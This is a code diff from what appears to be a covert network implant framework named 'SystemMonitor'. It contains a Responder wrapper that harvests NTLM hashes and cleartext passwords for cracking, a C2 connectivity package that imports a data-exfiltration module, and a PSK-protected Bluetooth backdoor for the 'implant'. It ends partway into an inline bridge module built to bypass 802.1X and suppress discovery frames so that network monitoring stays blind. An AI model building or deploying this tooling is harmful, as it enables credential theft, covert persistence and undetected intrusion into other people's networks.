logger.error("Responder not found at %s", self._responder_path)
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("ResponderManager started (ready to launch Responder)")
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self.stop_responder()
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("ResponderManager stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
proc_alive = self._proc is not None and self._proc.poll() is None
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"responder_running": proc_alive,
|
||||
"responder_pid": self._proc.pid if proc_alive else None,
|
||||
"captured_hash_count": len(self._captured_hashes),
|
||||
"interface": self._iface,
|
||||
"relay_targets": list(self._relay_targets),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
if "interface" in config:
|
||||
self._iface = config["interface"]
|
||||
if "relay_targets" in config:
|
||||
self._relay_targets = set(config["relay_targets"])
|
||||
if "protocols" in config:
|
||||
self._protocols.update(config["protocols"])
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start_responder(self, protocols: dict = None) -> bool:
|
||||
"""Start Responder with configured protocols.
|
||||
|
||||
Args:
|
||||
protocols: Optional dict overriding default protocol toggles.
|
||||
|
||||
Returns:
|
||||
True if Responder was started.
|
||||
"""
|
||||
if not self._running:
|
||||
logger.error("ResponderManager not started")
|
||||
return False
|
||||
|
||||
if self._proc and self._proc.poll() is None:
|
||||
logger.warning("Responder already running (pid=%d)", self._proc.pid)
|
||||
return True
|
||||
|
||||
if protocols:
|
||||
self._protocols.update(protocols)
|
||||
|
||||
# Generate Responder.conf from template
|
||||
self._write_responder_conf()
|
||||
|
||||
# Build command
|
||||
responder_py = os.path.join(self._responder_path, "Responder.py")
|
||||
if not os.path.isfile(responder_py):
|
||||
logger.error("Responder.py not found at %s", responder_py)
|
||||
return False
|
||||
|
||||
cmd = ["python3", responder_py, "-I", self._iface, "-v"]
|
||||
|
||||
# Add protocol flags based on what we want DISABLED
|
||||
if not self._protocols.get("WPAD"):
|
||||
cmd.append("-w") # -w disables WPAD in newer Responder versions
|
||||
# Responder's flags are for disabling features, not enabling them
|
||||
# The .conf file controls which services are On/Off
|
||||
|
||||
try:
|
||||
self._proc = subprocess.Popen(
|
||||
cmd,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE,
|
||||
cwd=self._responder_path,
|
||||
)
|
||||
time.sleep(2)
|
||||
if self._proc.poll() is not None:
|
||||
stderr = self._proc.stderr.read().decode(errors="replace")
|
||||
logger.error("Responder failed to start: %s", stderr)
|
||||
return False
|
||||
|
||||
# Start hash file monitoring thread
|
||||
self._hash_thread = threading.Thread(
|
||||
target=self._hash_monitor_loop, daemon=True, name="sensor-responder-hashes"
|
||||
)
|
||||
self._hash_thread.start()
|
||||
|
||||
logger.info("Responder started (pid=%d, iface=%s)", self._proc.pid, self._iface)
|
||||
return True
|
||||
|
||||
except Exception:
|
||||
logger.exception("Failed to start Responder")
|
||||
return False
|
||||
|
||||
def stop_responder(self) -> bool:
|
||||
"""Stop the Responder subprocess.
|
||||
|
||||
Returns:
|
||||
True if Responder was stopped.
|
||||
"""
|
||||
if self._proc and self._proc.poll() is None:
|
||||
try:
|
||||
self._proc.terminate()
|
||||
self._proc.wait(timeout=5)
|
||||
except subprocess.TimeoutExpired:
|
||||
self._proc.kill()
|
||||
try:
|
||||
self._proc.wait(timeout=2)
|
||||
except Exception:
|
||||
pass
|
||||
except Exception:
|
||||
logger.exception("Failed to stop Responder")
|
||||
return False
|
||||
finally:
|
||||
self._proc = None
|
||||
|
||||
logger.info("Responder stopped")
|
||||
return True
|
||||
|
||||
def get_captured_hashes(self) -> list:
|
||||
"""Return all captured hashes.
|
||||
|
||||
Returns:
|
||||
List of dicts with hash details.
|
||||
"""
|
||||
with self._hashes_lock:
|
||||
return list(self._captured_hashes)
|
||||
|
||||
def set_relay_targets(self, targets: set) -> None:
|
||||
"""Set IPs that should be excluded from Responder's SMB server.
|
||||
|
||||
When coordinating with ntlm_relay, Responder should not respond
|
||||
to targets that ntlmrelayx is relaying from.
|
||||
|
||||
Args:
|
||||
targets: Set of IP addresses to exclude.
|
||||
"""
|
||||
self._relay_targets = set(targets)
|
||||
# Regenerate config and restart if running
|
||||
if self._proc and self._proc.poll() is None:
|
||||
self._write_responder_conf()
|
||||
logger.info("Updated relay exclusion targets: %s", targets)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Responder.conf generation
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _write_responder_conf(self) -> None:
|
||||
"""Generate Responder.conf from template or defaults."""
|
||||
conf_path = os.path.join(self._responder_path, "Responder.conf")
|
||||
|
||||
# Try Jinja2 template first
|
||||
template_path = os.path.join(self._template_dir, "Responder.conf.j2")
|
||||
if os.path.isfile(template_path):
|
||||
try:
|
||||
from jinja2 import Environment, BaseLoader
|
||||
with open(template_path, "r") as f:
|
||||
template_content = f.read()
|
||||
env = Environment(loader=BaseLoader(), autoescape=True)
|
||||
tmpl = env.from_string(template_content)
|
||||
rendered = tmpl.render(
|
||||
protocols=self._protocols,
|
||||
relay_targets=[str(ip) for ip in self._relay_targets],
|
||||
interface=self._iface,
|
||||
)
|
||||
with open(conf_path, "w") as f:
|
||||
f.write(rendered)
|
||||
return
|
||||
except ImportError:
|
||||
logger.warning("Jinja2 not available — using inline config")
|
||||
except Exception:
|
||||
logger.exception("Failed to render Responder.conf template")
|
||||
|
||||
# Fallback: write config directly
|
||||
smb_on = "On" if self._protocols.get("SMB") else "Off"
|
||||
http_on = "On" if self._protocols.get("HTTP") else "Off"
|
||||
|
||||
conf = (
|
||||
"[Responder Core]\n\n"
|
||||
"; Servers to start\n"
|
||||
f"SQL = {'On' if self._protocols.get('SQL') else 'Off'}\n"
|
||||
f"SMB = {smb_on}\n"
|
||||
f"RDP = Off\n"
|
||||
f"Kerberos = Off\n"
|
||||
f"FTP = {'On' if self._protocols.get('FTP') else 'Off'}\n"
|
||||
f"POP = {'On' if self._protocols.get('POP') else 'Off'}\n"
|
||||
f"SMTP = {'On' if self._protocols.get('SMTP') else 'Off'}\n"
|
||||
f"IMAP = {'On' if self._protocols.get('IMAP') else 'Off'}\n"
|
||||
f"HTTP = {http_on}\n"
|
||||
f"HTTPS = {http_on}\n"
|
||||
f"DNS = Off\n"
|
||||
f"LDAP = {'On' if self._protocols.get('LDAP') else 'Off'}\n"
|
||||
f"DCERPC = Off\n"
|
||||
f"WinRM = Off\n"
|
||||
f"SNMP = Off\n"
|
||||
f"MQTT = Off\n"
|
||||
"\n"
|
||||
"; Custom challenge\n"
|
||||
"Challenge = Random\n"
|
||||
"\n"
|
||||
"; Set to On for downgrading to NTLMv1\n"
|
||||
"DontRespondToNames =\n"
|
||||
"\n"
|
||||
)
|
||||
|
||||
with open(conf_path, "w") as f:
|
||||
f.write(conf)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Hash capture monitoring
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _hash_monitor_loop(self) -> None:
|
||||
"""Monitor Responder log directory for new hash files."""
|
||||
while self._running and self._proc and self._proc.poll() is None:
|
||||
time.sleep(self.HASH_POLL_INTERVAL)
|
||||
try:
|
||||
self._scan_hash_files()
|
||||
self._scan_session_log()
|
||||
except Exception:
|
||||
logger.exception("Hash monitor error")
|
||||
|
||||
def _scan_hash_files(self) -> None:
|
||||
"""Scan Responder logs/ for NTLMv1/v2 hash files."""
|
||||
if not os.path.isdir(self._log_dir):
|
||||
return
|
||||
|
||||
for filepath in glob.glob(os.path.join(self._log_dir, "*-NTLMv*.txt")):
|
||||
try:
|
||||
with open(filepath, "r") as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line or line in self._seen_hashes:
|
||||
continue
|
||||
self._seen_hashes.add(line)
|
||||
self._process_hash_line(line, filepath)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _scan_session_log(self) -> None:
|
||||
"""Scan Responder-Session.log for cleartext credentials."""
|
||||
session_log = os.path.join(self._log_dir, "Responder-Session.log")
|
||||
if not os.path.isfile(session_log):
|
||||
return
|
||||
|
||||
try:
|
||||
with open(session_log, "r") as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line or line in self._seen_hashes:
|
||||
continue
|
||||
# Look for cleartext credential lines
|
||||
if "Cleartext" in line or "Password" in line:
|
||||
self._seen_hashes.add(line)
|
||||
self._process_cleartext_line(line)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
def _process_hash_line(self, line: str, source_file: str) -> None:
|
||||
"""Parse an NTLM hash line and emit CREDENTIAL_FOUND."""
|
||||
# Determine hash type from filename
|
||||
hash_type = "ntlmv2"
|
||||
hashcat_mode = 5600
|
||||
if "NTLMv1" in source_file:
|
||||
hash_type = "ntlmv1"
|
||||
hashcat_mode = 5500
|
||||
|
||||
# Parse username and domain
|
||||
match = NTLMV2_REGEX.match(line)
|
||||
if not match:
|
||||
match = NTLMV1_REGEX.match(line)
|
||||
if match:
|
||||
username = match.group("username")
|
||||
domain = match.group("domain")
|
||||
else:
|
||||
username = line.split("::")[0] if "::" in line else "unknown"
|
||||
domain = ""
|
||||
|
||||
hash_entry = {
|
||||
"timestamp": time.time(),
|
||||
"username": username,
|
||||
"domain": domain,
|
||||
"hash_type": hash_type,
|
||||
"hashcat_mode": hashcat_mode,
|
||||
"hash_value": line,
|
||||
"source_file": source_file,
|
||||
}
|
||||
|
||||
with self._hashes_lock:
|
||||
self._captured_hashes.append(hash_entry)
|
||||
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"source_module": self.name,
|
||||
"source_ip": "",
|
||||
"target_service": "responder",
|
||||
"username": username,
|
||||
"domain": domain,
|
||||
"credential_type": hash_type,
|
||||
"credential_value": line,
|
||||
"hashcat_mode": hashcat_mode,
|
||||
})
|
||||
logger.info("Hash captured: %s\\%s (%s)", domain, username, hash_type)
|
||||
|
||||
def _process_cleartext_line(self, line: str) -> None:
|
||||
"""Process a cleartext credential line from Responder session log."""
|
||||
emit_credential_found(self.bus, self.name, {
|
||||
"source_module": self.name,
|
||||
"target_service": "responder_cleartext",
|
||||
"credential_type": "cleartext",
|
||||
"credential_value": line,
|
||||
})
|
||||
@@ -0,0 +1,58 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Abstract base class for all SystemMonitor modules."""
|
||||
|
||||
from abc import ABC, abstractmethod
|
||||
|
||||
|
||||
class BaseModule(ABC):
|
||||
"""Base class that all SystemMonitor modules must inherit from.
|
||||
|
||||
Each module runs as a separate process managed by the Engine.
|
||||
"""
|
||||
|
||||
name: str = "unnamed"
|
||||
module_type: str = "passive" # passive, active, stealth, intel, connectivity
|
||||
priority: int = 100 # OOM priority (lower = more important)
|
||||
dependencies: list = [] # Module names that must be running first
|
||||
requires_root: bool = False
|
||||
requires_capture_bus: bool = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
self.bus = bus
|
||||
self.state = state
|
||||
self.config = config
|
||||
self.engine = engine
|
||||
self._running = False
|
||||
self._pid = None
|
||||
self._start_time = None
|
||||
|
||||
@abstractmethod
|
||||
def start(self) -> None:
|
||||
"""Start the module. Called by the engine in the module's own process."""
|
||||
...
|
||||
|
||||
@abstractmethod
|
||||
def stop(self) -> None:
|
||||
"""Stop the module gracefully."""
|
||||
...
|
||||
|
||||
@abstractmethod
|
||||
def status(self) -> dict:
|
||||
"""Return module status dict.
|
||||
|
||||
Returns:
|
||||
{"running": bool, "pid": int, "uptime": float, "ram_mb": float, "cpu_pct": float}
|
||||
"""
|
||||
...
|
||||
|
||||
@abstractmethod
|
||||
def configure(self, config: dict) -> None:
|
||||
"""Apply new configuration to a running module."""
|
||||
...
|
||||
|
||||
def health_check(self) -> bool:
|
||||
"""Check if the module is healthy. Override for custom checks."""
|
||||
try:
|
||||
return self.status().get("running", False)
|
||||
except Exception:
|
||||
return False
|
||||
@@ -0,0 +1,19 @@
|
||||
"""SystemMonitor connectivity modules — C2 and data transport layer."""
|
||||
|
||||
from modules.connectivity.wireguard import WireGuard
|
||||
from modules.connectivity.tailscale import Tailscale
|
||||
from modules.connectivity.bridge import Bridge
|
||||
from modules.connectivity.wifi_client import WiFiClient
|
||||
from modules.connectivity.cellular_backup import CellularBackup
|
||||
from modules.connectivity.ble_emergency import BLEEmergency
|
||||
from modules.connectivity.data_exfil import DataExfil
|
||||
|
||||
__all__ = [
|
||||
"WireGuard",
|
||||
"Tailscale",
|
||||
"Bridge",
|
||||
"WiFiClient",
|
||||
"CellularBackup",
|
||||
"BLEEmergency",
|
||||
"DataExfil",
|
||||
]
|
||||
@@ -0,0 +1,447 @@
|
||||
#!/usr/bin/env python3
|
||||
"""BLE emergency module — GATT server for local emergency access.
|
||||
|
||||
Provides a Bluetooth Low Energy GATT server for last-resort local access
|
||||
when all network connectivity is lost. PSK-authenticated commands over
|
||||
a custom GATT service allow the operator within ~10m to check status,
|
||||
issue kill commands, reboot, or retrieve the current IP.
|
||||
|
||||
Disabled by default — must be explicitly enabled in config.
|
||||
"""
|
||||
|
||||
import hashlib
|
||||
import hmac
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import secrets
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Custom BLE service/characteristic UUIDs (random, non-standard)
|
||||
SERVICE_UUID = "bb000001-1337-4000-8000-000000000001"
|
||||
CMD_CHAR_UUID = "bb000002-1337-4000-8000-000000000002" # Write: send command
|
||||
RESP_CHAR_UUID = "bb000003-1337-4000-8000-000000000003" # Read/Notify: response
|
||||
|
||||
# Max BLE MTU for response
|
||||
BLE_MTU = 512
|
||||
ADV_TIMEOUT = 0 # 0 = advertise indefinitely
|
||||
|
||||
|
||||
class BLEEmergency(BaseModule):
|
||||
"""BLE GATT server for emergency local access with PSK auth."""
|
||||
|
||||
name = "ble_emergency"
|
||||
module_type = "connectivity"
|
||||
priority = -50
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._psk: Optional[str] = None
|
||||
self._advertising = False
|
||||
self._gatt_thread: Optional[threading.Thread] = None
|
||||
self._hci_device = "hci0"
|
||||
self._device_name: Optional[str] = None
|
||||
self._nonce: Optional[str] = None
|
||||
self._authenticated_sessions: set = set()
|
||||
self._last_response: str = ""
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
ble_cfg = self.config.get("connectivity", {}).get("ble_emergency", {})
|
||||
|
||||
# Disabled by default
|
||||
if not ble_cfg.get("enabled", False):
|
||||
logger.info("BLE emergency module disabled (set ble_emergency.enabled=true)")
|
||||
self.state.set_module_status(self.name, "disabled",
|
||||
extra={"reason": "not_enabled"})
|
||||
return
|
||||
|
||||
self._psk = ble_cfg.get("psk")
|
||||
if not self._psk:
|
||||
logger.error("BLE emergency PSK not configured")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._hci_device = ble_cfg.get("hci_device", "hci0")
|
||||
self._device_name = ble_cfg.get("device_name")
|
||||
|
||||
# If no device name, try to match MAC profile for consistency
|
||||
if not self._device_name:
|
||||
mac_hostname = self.state.get(
|
||||
"mac_manager", "dhcp_hostname", default=None
|
||||
)
|
||||
self._device_name = mac_hostname if mac_hostname else "LE-Device"
|
||||
|
||||
if not self._check_bluetooth_available():
|
||||
logger.error("Bluetooth hardware not available")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
if not self.start_gatt():
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
logger.info("BLE emergency GATT server active (device: %s)", self._device_name)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self.stop_gatt()
|
||||
self._running = False
|
||||
self._advertising = False
|
||||
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("BLE emergency stopped")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"advertising": self._advertising,
|
||||
"hci_device": self._hci_device,
|
||||
"device_name": self._device_name,
|
||||
"authenticated_sessions": len(self._authenticated_sessions),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
|
||||
def health_check(self) -> bool:
|
||||
if not self._running:
|
||||
return False
|
||||
return self.is_advertising()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# GATT server operations
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start_gatt(self) -> bool:
|
||||
"""Start BLE advertising and GATT server."""
|
||||
# Enable BLE adapter
|
||||
if not self._enable_adapter():
|
||||
return False
|
||||
|
||||
# Set device name
|
||||
if not self._set_device_name():
|
||||
logger.warning("Could not set BLE device name")
|
||||
|
||||
# Start advertising
|
||||
if not self._start_advertising():
|
||||
return False
|
||||
|
||||
# Start GATT command listener in background thread
|
||||
self._nonce = secrets.token_hex(16)
|
||||
self._gatt_thread = threading.Thread(
|
||||
target=self._gatt_listen_loop, daemon=True, name="sensor-ble-gatt",
|
||||
)
|
||||
self._gatt_thread.start()
|
||||
|
||||
self._advertising = True
|
||||
return True
|
||||
|
||||
def stop_gatt(self) -> None:
|
||||
"""Stop GATT server and BLE advertising."""
|
||||
self._advertising = False
|
||||
self._stop_advertising()
|
||||
|
||||
if self._gatt_thread and self._gatt_thread.is_alive():
|
||||
self._gatt_thread.join(timeout=3.0)
|
||||
|
||||
self._authenticated_sessions.clear()
|
||||
|
||||
def is_advertising(self) -> bool:
|
||||
"""Check if BLE advertising is active."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["hciconfig", self._hci_device],
|
||||
capture_output=True, text=True, timeout=5,
|
||||
)
|
||||
return "UP RUNNING" in result.stdout
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BLE adapter management
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _check_bluetooth_available(self) -> bool:
|
||||
"""Check if Bluetooth hardware is present."""
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["hciconfig", self._hci_device],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
return result.returncode == 0
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
return False
|
||||
|
||||
def _enable_adapter(self) -> bool:
|
||||
"""Power on the BLE adapter."""
|
||||
try:
|
||||
subprocess.run(
|
||||
["hciconfig", self._hci_device, "up"],
|
||||
check=True, capture_output=True, timeout=10,
|
||||
)
|
||||
# Enable LE mode
|
||||
subprocess.run(
|
||||
["hciconfig", self._hci_device, "leadv", "0"],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
return True
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError) as exc:
|
||||
logger.error("Failed to enable BLE adapter: %s", exc)
|
||||
return False
|
||||
|
||||
def _set_device_name(self) -> bool:
|
||||
"""Set the BLE device name via bluetoothctl."""
|
||||
try:
|
||||
proc = subprocess.run(
|
||||
["bluetoothctl", "--", "system-alias", self._device_name],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
return proc.returncode == 0
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
return False
|
||||
|
||||
def _start_advertising(self) -> bool:
|
||||
"""Start BLE advertising."""
|
||||
try:
|
||||
# Set advertising data
|
||||
subprocess.run(
|
||||
["hciconfig", self._hci_device, "leadv", "0"],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
# Also use btmgmt for more control if available
|
||||
subprocess.run(
|
||||
["btmgmt", "--index", self._hci_device.replace("hci", ""),
|
||||
"power", "on"],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
subprocess.run(
|
||||
["btmgmt", "--index", self._hci_device.replace("hci", ""),
|
||||
"le", "on"],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
subprocess.run(
|
||||
["btmgmt", "--index", self._hci_device.replace("hci", ""),
|
||||
"connectable", "on"],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
subprocess.run(
|
||||
["btmgmt", "--index", self._hci_device.replace("hci", ""),
|
||||
"advertising", "on"],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
return True
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
|
||||
return False
|
||||
|
||||
def _stop_advertising(self) -> None:
|
||||
"""Stop BLE advertising."""
|
||||
try:
|
||||
subprocess.run(
|
||||
["hciconfig", self._hci_device, "noleadv"],
|
||||
capture_output=True, timeout=5,
|
||||
)
|
||||
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# GATT command processing
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _gatt_listen_loop(self) -> None:
|
||||
"""Listen for GATT characteristic writes via bluetoothctl/gatttool.
|
||||
|
||||
This loop uses a simple file-based IPC approach: commands are written
|
||||
to a well-known path by the BLE GATT callback, and this loop processes
|
||||
them. In production, this would use dbus-python to register a proper
|
||||
GATT application.
|
||||
"""
|
||||
cmd_fifo = "/tmp/.bb_ble_cmd"
|
||||
resp_fifo = "/tmp/.bb_ble_resp"
|
||||
|
||||
# Create FIFOs for IPC
|
||||
for fifo in (cmd_fifo, resp_fifo):
|
||||
try:
|
||||
if os.path.exists(fifo):
|
||||
os.unlink(fifo)
|
||||
os.mkfifo(fifo, 0o600)
|
||||
except OSError as exc:
|
||||
logger.error("Cannot create BLE FIFO %s: %s", fifo, exc)
|
||||
return
|
||||
|
||||
logger.debug("BLE GATT listener ready on FIFOs")
|
||||
|
||||
while self._advertising and self._running:
|
||||
try:
|
||||
# Non-blocking read from command FIFO
|
||||
fd = os.open(cmd_fifo, os.O_RDONLY | os.O_NONBLOCK)
|
||||
try:
|
||||
data = os.read(fd, 4096)
|
||||
finally:
|
||||
os.close(fd)
|
||||
|
||||
if data:
|
||||
cmd_str = data.decode(errors='replace').strip()
|
||||
response = self._process_command(cmd_str)
|
||||
self._last_response = response
|
||||
|
||||
# Write response to response FIFO
|
||||
try:
|
||||
fd = os.open(resp_fifo, os.O_WRONLY | os.O_NONBLOCK)
|
||||
try:
|
||||
os.write(fd, response.encode()[:BLE_MTU])
|
||||
finally:
|
||||
os.close(fd)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
except OSError:
|
||||
pass # No data ready
|
||||
|
||||
time.sleep(0.5)
|
||||
|
||||
# Cleanup FIFOs
|
||||
for fifo in (cmd_fifo, resp_fifo):
|
||||
try:
|
||||
os.unlink(fifo)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
def _process_command(self, raw_cmd: str) -> str:
|
||||
"""Process an authenticated BLE command.
|
||||
|
||||
Command format: <hmac_hex>:<command>
|
||||
HMAC is computed over: nonce + command using the PSK.
|
||||
"""
|
||||
if ":" not in raw_cmd:
|
||||
return '{"error": "invalid format"}'
|
||||
|
||||
provided_hmac, command = raw_cmd.split(":", 1)
|
||||
command = command.strip().lower()
|
||||
|
||||
# Verify HMAC
|
||||
if not self._verify_hmac(provided_hmac, command):
|
||||
logger.warning("BLE auth failed for command: %s", command)
|
||||
return '{"error": "auth_failed"}'
|
||||
|
||||
# Rotate nonce after successful auth
|
||||
old_nonce = self._nonce
|
||||
self._nonce = secrets.token_hex(16)
|
||||
|
||||
# Execute command
|
||||
if command == "status":
|
||||
return self._cmd_status()
|
||||
elif command == "kill":
|
||||
return self._cmd_kill()
|
||||
elif command == "reboot":
|
||||
return self._cmd_reboot()
|
||||
elif command == "get_ip":
|
||||
return self._cmd_get_ip()
|
||||
elif command == "get_nonce":
|
||||
# Return new nonce for next command (unauthenticated)
|
||||
return json.dumps({"nonce": self._nonce})
|
||||
else:
|
||||
return json.dumps({"error": "unknown_command", "commands": [
|
||||
"status", "kill", "reboot", "get_ip", "get_nonce"
|
||||
]})
|
||||
|
||||
def _verify_hmac(self, provided_hmac: str, command: str) -> bool:
|
||||
"""Verify HMAC authentication for a BLE command."""
|
||||
if not self._psk or not self._nonce:
|
||||
return False
|
||||
|
||||
message = f"{self._nonce}:{command}".encode()
|
||||
expected = hmac.new(
|
||||
self._psk.encode(), message, hashlib.sha256
|
||||
).hexdigest()
|
||||
|
||||
return hmac.compare_digest(provided_hmac.lower(), expected.lower())
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BLE command handlers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _cmd_status(self) -> str:
|
||||
"""Return implant status summary."""
|
||||
status_data = {
|
||||
"ok": True,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"nonce": self._nonce,
|
||||
}
|
||||
|
||||
# Get connectivity status from state
|
||||
all_status = self.state.get_all_module_status()
|
||||
connectivity_modules = {}
|
||||
for name, info in all_status.items():
|
||||
if name in ("wireguard", "tailscale", "cellular_backup"):
|
||||
connectivity_modules[name] = info.get("status", "unknown")
|
||||
status_data["connectivity"] = connectivity_modules
|
||||
|
||||
return json.dumps(status_data)
|
||||
|
||||
def _cmd_kill(self) -> str:
|
||||
"""Trigger kill switch via event bus."""
|
||||
logger.warning("Kill switch triggered via BLE emergency")
|
||||
self.bus.emit("KILL_SWITCH",
|
||||
{"source": "ble_emergency", "reason": "operator_ble_command"},
|
||||
source_module=self.name)
|
||||
return json.dumps({"ok": True, "action": "kill_switch_triggered"})
|
||||
|
||||
def _cmd_reboot(self) -> str:
|
||||
"""Trigger system reboot."""
|
||||
logger.warning("Reboot triggered via BLE emergency")
|
||||
|
||||
def _delayed_reboot():
|
||||
time.sleep(2.0)
|
||||
try:
|
||||
subprocess.run(["reboot"], timeout=5)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
threading.Thread(target=_delayed_reboot, daemon=True).start()
|
||||
return json.dumps({"ok": True, "action": "reboot_in_2s"})
|
||||
|
||||
def _cmd_get_ip(self) -> str:
|
||||
"""Return all IP addresses on the system."""
|
||||
ips = {}
|
||||
try:
|
||||
result = subprocess.run(
|
||||
["ip", "-4", "-o", "addr", "show"],
|
||||
capture_output=True, text=True, timeout=5,
|
||||
)
|
||||
if result.returncode == 0:
|
||||
import re
|
||||
for line in result.stdout.strip().splitlines():
|
||||
match = re.search(r'(\S+)\s+inet\s+(\d+\.\d+\.\d+\.\d+)', line)
|
||||
if match:
|
||||
iface = match.group(1)
|
||||
ip = match.group(2)
|
||||
if iface != "lo":
|
||||
ips[iface] = ip
|
||||
except (subprocess.TimeoutExpired, FileNotFoundError):
|
||||
pass
|
||||
|
||||
return json.dumps({"ips": ips, "nonce": self._nonce})
|
||||
@@ -0,0 +1,359 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Bridge module — transparent inline network bridge.
|
||||
|
||||
Creates a transparent L2 bridge between the onboard ethernet adapter and a
|
||||
USB ethernet adapter. The bridge has NO IP address — it is invisible on the
|
||||
network and can only be detected by physical inspection.
|
||||
|
||||
Provides 802.1X bypass via silent bridge (EAP passthrough) and suppresses
|
||||
STP/BPDU/CDP/LLDP frames via ebtables to avoid triggering network monitoring.
|
||||
|
||||
A C watchdog thread monitors bridge health and restores direct connectivity
|
||||
within 15 seconds if the bridge fails.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import threading
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
BRIDGE_NAME = "br0"
|
||||
WATCHDOG_INTERVAL = 5.0 # seconds between health checks
|
||||
WATCHDOG_MAX_FAILURES = 3 # consecutive failures before teardown
|
||||
FAILSAFE_TIMEOUT = 15 # seconds — must restore connectivity within this
|
||||
|
||||
|
||||
class Bridge(BaseModule):
|
||||
"""Transparent inline bridge — invisible on the network."""
|
||||
|
||||
name = "bridge"
|
||||
module_type = "connectivity"
|
||||
priority = -300
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._if1: Optional[str] = None
|
||||
self._if2: Optional[str] = None
|
||||
self._bridge_up = False
|
||||
self._watchdog_thread: Optional[threading.Thread] = None
|
||||
self._consecutive_failures = 0
|
||||
self._scripts_dir: Optional[str] = None
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
br_cfg = self.config.get("connectivity", {}).get("bridge", {})
|
||||
if not br_cfg:
|
||||
logger.error("No bridge config in bigbrother.yaml")
|
||||
self.state.set_module_status(self.name, "error")
|
||||
return
|
||||
|
||||
self._if1 = br_cfg.get("interface1")
|
||||
self._if2 = br_cfg.get("interface2")
|
||||
|
||||
